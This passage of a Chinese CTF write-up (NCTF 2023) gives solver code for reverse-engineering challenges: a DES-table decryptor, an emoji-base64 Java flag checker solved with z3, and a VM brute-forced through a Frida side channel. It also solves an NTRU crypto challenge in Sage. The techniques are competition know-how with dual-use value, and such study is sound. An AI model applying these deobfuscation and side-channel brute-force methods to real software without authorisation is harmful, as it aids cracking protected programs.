    uint32_t dsk[96],
    const unsigned char key[24])
{
    int i;

    des_setkey(esk, key);
    des_setkey(dsk + 32, key + 8);
    des_setkey(esk + 64, key + 16);

    for (i = 0; i < 32; i += 2)
    {
        dsk[i] = esk[94 - i];
        dsk[i + 1] = esk[95 - i];

        esk[i + 32] = dsk[62 - i];
        esk[i + 33] = dsk[63 - i];

        dsk[i + 64] = esk[30 - i];
        dsk[i + 65] = esk[31 - i];
    }
}

/*
 * Triple-DES key schedule (168-bit, encryption)
 */
int des3_set3key_enc(des3_context* ctx,
    const unsigned char key[DES_KEY_SIZE * 3])
{
    uint32_t sk[96];

    des3_set3key(ctx->sk, sk, key);
    zeroize(sk, sizeof(sk));

    return(0);
}

/*
 * Triple-DES key schedule (168-bit, decryption)
 */
int des3_set3key_dec(des3_context* ctx,
    const unsigned char key[DES_KEY_SIZE * 3])
{
    uint32_t sk[96];

    des3_set3key(sk, ctx->sk, key);
    zeroize(sk, sizeof(sk));

    return(0);
}

/*
 * DES-ECB block encryption/decryption
 */

int des_crypt_ecb(des_context* ctx,
    const unsigned char input[8],
    unsigned char output[8])
{
    int i;
    uint32_t X, Y, T, * SK;

    SK = ctx->sk;

    GET_UINT32_BE(X, input, 0);
    GET_UINT32_BE(Y, input, 4);

    DES_IP(X, Y);

    for (i = 0; i < 8; i++)
    {
        DES_ROUND(Y, X);
        DES_ROUND(X, Y);
    }

    DES_FP(Y, X);

    PUT_UINT32_BE(Y, output, 0);
    PUT_UINT32_BE(X, output, 4);

    return(0);
}

int des_crypt_ecb_dec(des_context* ctx,
    const unsigned char input[8],
    unsigned char output[8])
{
    int i;
    uint32_t X, Y, T, * SK;

    SK = &ctx->sk[31];

    GET_UINT32_BE(X, input, 0);
    GET_UINT32_BE(Y, input, 4);

    DES_IP(X, Y);

    for (i = 0; i < 8; i++)
    {
        DES_ROUND_dec(Y, X);
        DES_ROUND_dec(X, Y);
    }

    DES_FP(Y, X);

    PUT_UINT32_BE(Y, output, 0);
    PUT_UINT32_BE(X, output, 4);

    return(0);
}

#endif /* !DES_ALT */

#endif /* DES_C */

/*
 * DES-ECB buffer encryption API
 */

int main()
{
    unsigned char buff[1024] = { 0 };
    unsigned char buff2[1024] = { 0 };
    unsigned char data[1024] = { 0x28, 0x00, 0x00, 0x00, 0xE1, 0xAD, 0x16, 0x7A,0 };
    int ret, len, i;
    len = strlen((char*)data);

    unsigned int dword_355C8C[32] =
    {
      356323847,
      151527228,
      740767546,
      540020281,
      654839353,
      104150809,
      555494916,
      823934770,
      319498556,
      556078630,
      639713067,
      1026032150,
      571424011,
      103423007,
      742130971,
      84753163,
      254942750,
      553779999,
      503389954,
      574371119,
      588255527,
      203171627,
      288106789,
      540945213,
      723531839,
      723597618,
      574166844,
      841619515,
      974788401,
      119026972,
      218248763,
      354814246
    };
    des_context ctx;
    
    unsigned char table_rc[] =
    {
      0xE1, 0xAD, 0x16, 0x7A, 0xE8, 0xF7, 0xB5, 0x95, 0xFE, 0x5A,
      0x54, 0x09, 0x3D, 0x0C, 0x68, 0xBE, 0x69, 0x14, 0x56, 0x42,
      0x9B, 0x7E, 0xD7, 0x05, 0x76, 0xEA, 0xC4, 0xE9, 0x7D, 0xDE,
      0xB5, 0xA7, 0x63, 0x60, 0x83, 0x6D, 0xEA, 0x62, 0x56, 0x85,
      0x14, 0xD4, 0x78, 0x9A, 0x0D, 0xF0, 0xAD, 0xBA
    };

    for (int i = 0; i < 48; i++)
    {
        table_rc[i] ^= 'a';
    }

    unsigned char table_rc2[] =
    {
  0xFE, 0x7F, 0x45, 0xDF, 0x7D, 0x72, 0xFF, 0x53, 0xAD, 0xD6,
  0xDD, 0x0F, 0xD0, 0x48, 0xE2, 0xB1, 0x7A, 0xF8, 0x6D, 0xD8,
  0x36, 0x28, 0x75, 0xD6, 0x9B, 0xD6, 0x3A, 0x70, 0xD3, 0xB6,
  0x0B, 0x68, 0x2D, 0x61, 0xC1, 0x5D, 0x1C, 0x74, 0x8B, 0x74,
  0x84, 0xCA, 0xF3, 0x09, 0x48, 0xFA, 0x38, 0x21
    };
    unsigned char table_rc3[] =
    {
  0x7E, 0xB3, 0x32, 0xC4, 0xF4, 0xE4, 0x2B, 0xA7, 0x32, 0xED,
  0xE8, 0x67, 0x8C, 0x25, 0xEB, 0x6E, 0x72, 0x8D, 0x5A, 0xFB,
  0xCC, 0x37, 0xC3, 0xB2, 0x8C, 0x5D, 0x9F, 0xF8, 0xCF, 0x09,
  0xDF, 0xAE, 0x2F, 0x60, 0x23, 0x51, 0x97, 0x77, 0xBC, 0x90,
  0xF1, 0x7F, 0xEA, 0xF2, 0x96, 0x63, 0x94, 0x1F
    };

    for (int i = 0; i < 48; i++)
    {
        table_rc2[i] ^= table_rc3[i];
    }
    unsigned int enc[12] =
    {
      66962917,
      0xE6F19633,
      128353141,
      200512736,
      1855217324,
      641338797,
      1864328871,
      0x0C6B153D7,
      165114648,
      110265849,
      1198161622,
      1918108754
    };
    unsigned char* p = (unsigned char*)enc;
    for (int i = 0; i < 48; i++)
    {
        p[i] ^= table_rc2[i];
    }


    unsigned char buff3[1024] = { 0 };
    unsigned char buff4[1024] = { 0 };
    for (int i = 0; i < 48; i++)
    {
        buff3[i] = p[i];
    }

    for (int i = 0; i < 32; i++)
    {
        ctx.sk[i] = dword_355C8C[i];
    }
    des_crypt_ecb_dec(&ctx, buff3, buff4);
    des_crypt_ecb_dec(&ctx, buff3+8, buff4+8);
    des_crypt_ecb_dec(&ctx, buff3 + 16, buff4 + 16);
    des_crypt_ecb_dec(&ctx, buff3 + 24, buff4 + 24);
    des_crypt_ecb_dec(&ctx, buff3 + 32, buff4 + 32);
    des_crypt_ecb_dec(&ctx, buff3 + 40, buff4 + 40);
    des_crypt_ecb_dec(&ctx, buff3 + 48, buff4 + 48);
    for (int i = 0; i < 48; i++)
    {
        buff4[i+4] ^= table_rc[i];
    }
    printf("%s", buff4 + 4);
}

Jvav

import java.io.ByteArrayOutputStream;
import java.util.Arrays;
import java.util.List;
import java.util.Scanner;

public class a {
    private static final List ALLATORIxDEMO=Arrays.asList(new String[]{"\uD83D\uDE00", "\uD83D\uDE01", "\uD83D\uDE02", "\uD83E\uDD23", "\uD83D\uDE03", "\uD83D\uDE04", "\uD83D\uDE05", "\uD83D\uDE06", "\uD83D\uDE09", "\uD83D\uDE0B", "\uD83D\uDE0E", "\uD83D\uDE0D", "\uD83D\uDE18", "\uD83D\uDE17", "\uD83D\uDE19", "\uD83D\uDE1A", "\uD83D\uDE42", "\uD83E\uDD17", "\uD83E\uDD29", "\uD83E\uDD14", "\uD83E\uDD28", "\uD83D\uDE10", "\uD83D\uDE11", "\uD83D\uDE36", "\uD83D\uDE44", "\uD83D\uDE0F", "\uD83D\uDE23", "\uD83D\uDE25", "\uD83E\uDD10", "\uD83D\uDE2A", "\uD83D\uDE2B", "\uD83D\uDE34", "\uD83D\uDE0C", "\uD83D\uDE1B", "\uD83D\uDE1C", "\uD83D\uDE1D", "\uD83E\uDD24", "\uD83D\uDE12", "\uD83D\uDE13", "\uD83D\uDE14", "\uD83D\uDE15", "\uD83D\uDE43", "\uD83E\uDD11", "\uD83D\uDE32", "☹️", "\uD83D\uDE16", "\uD83D\uDE1E", "\uD83D\uDE1F", "\uD83D\uDE24", "\uD83D\uDE22", "\uD83D\uDE2D", "\uD83D\uDE26", "\uD83D\uDE27", "\uD83D\uDE28", "\uD83D\uDE29", "\uD83D\uDE2C", "\uD83D\uDE30", "\uD83D\uDE31", "\uD83D\uDE33", "\uD83E\uDD2A", "\uD83D\uDE35", "\uD83E\uDD2D", "\uD83E\uDD2B"});
    ;


    // String Decryptor: 8 succeeded, 0 failed
    public static String A(String s) {
        StackTraceElement stackTraceElement0 = new RuntimeException().getStackTrace()[1];
        int v = s.length();
        char[] arr_c = new char[v];
        int v1 = v - 1;
        int v2 = 1;
        while(v1 >= 0) {
            arr_c[v1] = (char)(s.charAt(v1) ^ "aA".charAt(v2) ^ 6);
            if(v1 - 1 < 0) {
                break;
            }

            int v3 = "aA".charAt(v2);
            --v2;
            arr_c[v1 - 1] = (char)(s.charAt(v1 - 1) ^ v3 ^ 55);
            if(v2 < 0) {
                v2 = 1;
            }

            v1 += -2;
        }

        return new String(arr_c);
    }

    // String Decryptor: 9 succeeded, 0 failed
    public static String ALLATORIxDEMO(String s) {
        StackTraceElement stackTraceElement0 = new RuntimeException().getStackTrace()[1];
        int v = s.length();
        char[] arr_c = new char[v];
        int v1 = v - 1;
        int v2 = 13;
        while(v1 >= 0) {
            arr_c[v1] = (char)(s.charAt(v1) ^ "ALLATORIxDEMOa".charAt(v2) ^ 26);
            if(v1 - 1 < 0) {
                break;
            }

            char c = (char)(s.charAt(v1 - 1) ^ "ALLATORIxDEMOa".charAt(v2) ^ 0x7B);
            --v2;
            arr_c[v1 - 1] = c;
            if(v2 < 0) {
                v2 = 13;
            }

            v1 += -2;
        }

        return new String(arr_c);
    }

    public static String ALLATORIxDEMO(byte[] arr_b) {
        StringBuilder stringBuilder0 = new StringBuilder();
        int v = (24 - (arr_b.length + 1) % 24) % 24;
        ByteArrayOutputStream byteArrayOutputStream0 = new ByteArrayOutputStream();
        byteArrayOutputStream0.write(v);
        byteArrayOutputStream0.write(arr_b, 0, arr_b.length);
        for(int v2 = 0; v2 < v; ++v2) {
            byteArrayOutputStream0.write(((int)(((byte)"NCTF2023".charAt(v2 % 8)))));
        }

        byte[] arr_b1 = byteArrayOutputStream0.toByteArray();
        int v3 = 0;
        int v4 = 0;
        for(int v1 = 0; v1 < arr_b1.length; ++v1) {
            v3 |= (arr_b1[v1] & 0xFF) << 8 - v4;
            v4 += 8;
            while(v4 >= 6) {
                int v5 = v3 >> 10 & 0x3F;
                v4 += -6;
                System.out.println((v5 >> 4 | v5 << 2) & 0x3F);
                stringBuilder0.append(((String)a.ALLATORIxDEMO.get((v5 >> 4 | v5 << 2) & 0x3F)));
                v3 <<= 6;
            }
        }

        return stringBuilder0.toString();
    }

    // String Decryptor: 9 succeeded, 0 failed
    public static String L(String s) {
        int v = s.length();
        char[] arr_c = new char[v];
        int v1 = v - 1;
        while(v1 >= 0) {
            int v2 = v1 - 1;
            arr_c[v1] = (char)(s.charAt(v1) ^ 103);
            if(v2 < 0) {
                break;
            }

            v1 = v2 - 1;
            arr_c[v2] = (char)(s.charAt(v2) ^ 84);
        }

        return new String(arr_c);
    }

    // String Decryptor: 8 succeeded, 0 failed
    public static String d(String s) {
        int v = s.length();
        char[] arr_c = new char[v];
        for(int v1 = v - 1; v1 >= 0; v1 += -2) {
            arr_c[v1] = (char)(s.charAt(v1) ^ 6);
            if(v1 - 1 < 0) {
                break;
            }

            arr_c[v1 - 1] = (char)(s.charAt(v1 - 1) ^ 70);
        }

        return new String(arr_c);
    }

    public static void main(String[] arr_s) {
        Scanner scanner0 = new Scanner(System.in);
        System.out.println("flag是什么呢?");
        String s = scanner0.nextLine();
        if((s.startsWith("flag{")) && (s.endsWith("}")) && s.length() == 42) {
            byte[] arr_b = s.substring(5, s.length() - 1).getBytes();
            for(int v = 0; v < arr_b.length; ++v) {
                arr_b[v] = (byte)(arr_b[v] ^ 51);
            }

            if(a.ALLATORIxDEMO(arr_b).equals("\uD83D\uDE09\uD83D\uDE36\uD83D\uDE0C\uD83D\uDE15\uD83D\uDE03\uD83D\uDE00\uD83D\uDE03\uD83D\uDE04\uD83D\uDE09\uD83D\uDE02\uD83D\uDE42\uD83D\uDE00\uD83E\uDD10\uD83D\uDE02\uD83E\uDD17☹️\uD83E\uDD17\uD83D\uDE10\uD83E\uDD17\uD83D\uDE31\uD83D\uDE03\uD83E\uDD23\uD83D\uDE00\uD83D\uDE18\uD83D\uDE10\uD83D\uDE04\uD83D\uDE14\uD83D\uDE04\uD83D\uDE03\uD83E\uDD23\uD83E\uDD28\uD83D\uDE0B\uD83E\uDD10\uD83D\uDE11\uD83D\uDE0C\uD83D\uDE42\uD83E\uDD17\uD83D\uDE02\uD83D\uDE0C\uD83E\uDD10\uD83D\uDE03\uD83D\uDE00\uD83E\uDD28\uD83D\uDE04\uD83E\uDD17\uD83E\uDD28\uD83D\uDE42\uD83E\uDD10\uD83D\uDE09\uD83E\uDD29\uD83D\uDE14\uD83D\uDE18\uD83D\uDE10\uD83D\uDE42\uD83D\uDE1B\uD83D\uDE0D\uD83D\uDE24\uD83D\uDE18\uD83D\uDE0C\uD83D\uDE1A\uD83D\uDE17\uD83E\uDD29\uD83D\uDE27\uD83E\uDD17")) {
                System.out.println("这是真的flag!");
            }
            else {
                System.out.println("这好像不是正确的flag~");
            }
        }
        else {
            System.out.println("Flag格式不正确!");
        }

        System.out.println("按任意键退出程序~");
        scanner0.nextLine();
        scanner0.close();
    }
}

先求enc对应的序列号

enc="\uD83D\uDE09\uD83D\uDE36\uD83D\uDE0C\uD83D\uDE15\uD83D\uDE03\uD83D\uDE00\uD83D\uDE03\uD83D\uDE04\uD83D\uDE09\uD83D\uDE02\uD83D\uDE42\uD83D\uDE00\uD83E\uDD10\uD83D\uDE02\uD83E\uDD17☹️\uD83E\uDD17\uD83D\uDE10\uD83E\uDD17\uD83D\uDE31\uD83D\uDE03\uD83E\uDD23\uD83D\uDE00\uD83D\uDE18\uD83D\uDE10\uD83D\uDE04\uD83D\uDE14\uD83D\uDE04\uD83D\uDE03\uD83E\uDD23\uD83E\uDD28\uD83D\uDE0B\uD83E\uDD10\uD83D\uDE11\uD83D\uDE0C\uD83D\uDE42\uD83E\uDD17\uD83D\uDE02\uD83D\uDE0C\uD83E\uDD10\uD83D\uDE03\uD83D\uDE00\uD83E\uDD28\uD83D\uDE04\uD83E\uDD17\uD83E\uDD28\uD83D\uDE42\uD83E\uDD10\uD83D\uDE09\uD83E\uDD29\uD83D\uDE14\uD83D\uDE18\uD83D\uDE10\uD83D\uDE42\uD83D\uDE1B\uD83D\uDE0D\uD83D\uDE24\uD83D\uDE18\uD83D\uDE0C\uD83D\uDE1A\uD83D\uDE17\uD83E\uDD29\uD83D\uDE27\uD83E\uDD17"
enc_new=[]
for i in range(0,len(enc),2):
    x=[]
    x.append(ord(enc[i]))
    x.append(ord(enc[i+1]))
    enc_new.append(x)
print(enc_new)

table=["\uD83D\uDE00", "\uD83D\uDE01", "\uD83D\uDE02", "\uD83E\uDD23", "\uD83D\uDE03", "\uD83D\uDE04", "\uD83D\uDE05",
 "\uD83D\uDE06", "\uD83D\uDE09", "\uD83D\uDE0B", "\uD83D\uDE0E", "\uD83D\uDE0D", "\uD83D\uDE18", "\uD83D\uDE17",
 "\uD83D\uDE19", "\uD83D\uDE1A", "\uD83D\uDE42", "\uD83E\uDD17", "\uD83E\uDD29", "\uD83E\uDD14", "\uD83E\uDD28",
 "\uD83D\uDE10", "\uD83D\uDE11", "\uD83D\uDE36", "\uD83D\uDE44", "\uD83D\uDE0F", "\uD83D\uDE23", "\uD83D\uDE25",
 "\uD83E\uDD10", "\uD83D\uDE2A", "\uD83D\uDE2B", "\uD83D\uDE34", "\uD83D\uDE0C", "\uD83D\uDE1B", "\uD83D\uDE1C",
 "\uD83D\uDE1D", "\uD83E\uDD24", "\uD83D\uDE12", "\uD83D\uDE13", "\uD83D\uDE14", "\uD83D\uDE15", "\uD83D\uDE43",
 "\uD83E\uDD11", "\uD83D\uDE32", "☹️", "\uD83D\uDE16", "\uD83D\uDE1E", "\uD83D\uDE1F", "\uD83D\uDE24", "\uD83D\uDE22",
 "\uD83D\uDE2D", "\uD83D\uDE26", "\uD83D\uDE27", "\uD83D\uDE28", "\uD83D\uDE29", "\uD83D\uDE2C", "\uD83D\uDE30",
 "\uD83D\uDE31", "\uD83D\uDE33", "\uD83E\uDD2A", "\uD83D\uDE35", "\uD83E\uDD2D", "\uD83E\uDD2B"]
table1=[[ord(i[0]),ord(i[1])]for i in table]

for i in range(len(enc_new)):
    for j in range(len(table1)):
        if enc_new[i]==table1[j]:
            print(j,end=',')
            break
index=[8,23,32,40,4,0,4,5,8,2,16,0,28,2,17,44,17,21,17,57,4,3,0,12,21,5,39,5,4,3,20,9,28,22,32,16,17,2,32,28,4,0,20,5,17,20,16,28,8,18,39,12,21,16,33,11,48,12,32,15,13,18,52,17,]

print(len(index))
from z3 import *
s=Solver()
inp=[BitVec(f'{i}',32) for i in range(48)]
s.add(inp[0]==11)
s.add(inp[37]==78)
s.add(inp[38]==67)
s.add(inp[39]==84)
s.add(inp[40]==70)
s.add(inp[41]==50)
s.add(inp[42]==48)
s.add(inp[43]==50)
s.add(inp[44]==51)
s.add(inp[45]==78)
s.add(inp[46]==67)
s.add(inp[47]==84)
v3=0
v4=0
x=[]
for i in range(len(inp)):
  v3|=(inp[i] & 0xFF) << 8 - v4;
  v4 += 8;
  while v4>=6:
    v5=v3>>10 &0x3f
    v4+=-6
    x.append((v5 >> 4 | v5 << 2) & 0x3F)
    v3<<=6
    v3&=0xffffffff
enc=[8,23,32,40,4,0,4,5,8,2,16,0,28,2,17,44,17,21,17,57,4,3,0,12,21,5,39,5,4,3,20,9,28,22,32,16,17,2,32,28,4,0,20,5,17,20,16,28,8,18,39,12,21,16,33,11,48,12,32,15,13,18,52,17,]

for i in range(len(x)):
  s.add(x[i]==enc[i])
print(s.check())
if s.check()==sat:
   m=s.model()
   inp=[BitVec(f'{i}',32) for i in range(48)]
   for i in inp:
     print((m[i].as_long()),end=',')

最后异或51后,去掉第一位和最后补的11位就是flag了,然后flag{}包一下

enc=[11,82,10,4,0,81,10,1,0,30,5,11,81,85,30,7,0,3,85,30,81,7,1,82,30,82,4,82,2,7,4,1,81,80,81,7,10,78,67,84,70,50,48,50,51,78,67,84,]
for i in range(len(enc)):
    enc[i]^=51
print(bytes(enc))
#b'8a973b923-68bf-430f-b42a-a7a1472bcb49}pgu\x01\x03\x01\x00}pg'
# flag{a973b923-68bf-430f-b42a-a7a1472bcb49}

ezVM

一个Vm类的题目 其中比较关键的是字符串输出和的位置

img

img

经过分析发现是单字符加密 所以可以采用测信道的方法爆破flag每一位字符

利用Frida在配置opcode的地方就行hook

img

然后统计 当输入正确字符的时候 运行该处位置的次数应该是最多的

根据这个思路 逐步爆破 运行俩小时出flag

img

CRYPTO

Signin

题目实现了标准的NTRU密码系统,参考:NTRU密码系统 - 知乎 (zhihu.com)

该给的参数都给了

image-20231224212909171

exp:

#sage
N=509
p=3
q=512
d=3
fx =  [...]
gx =  [...]
hx =  [...]
e = [...]

Rq.<x> = PolynomialRing(Zmod(q))
f = Rq(fx)
c = Rq(e)
Modq = x ^ N - 1
a = (f * c) % Modq
# print(f"a = {a}")
A = []
for i in a:
    A.append(int(i))

for i in range(len(A)):
    if A[i] > 256:
        A[i] -= 512
# print(A)


Rp.<x> = PolynomialRing(Zmod(p))
f = Rp(fx)
Mod = x ^ N - 1
Fp = (inverse_mod(f,Mod))
# print(Fp)
b = Rp(0)
for i in range(len(A)):
    b += A[i]*x^i
# print(b)

m = (Fp * b) % Mod
print(f"m = {m}")
flag = []
for i in m:
    flag.append(i)
# print(flag)
Flag = ""
for j in range(42):
    mm = flag[j*8:(j+1)*8]
    msg = ""
    for i in mm:
        msg += str(i)
    Flag += chr(int(msg,2))
print(Flag)
# NCTF{0e301384-a06c-11ee-959d-b39f60b9e252}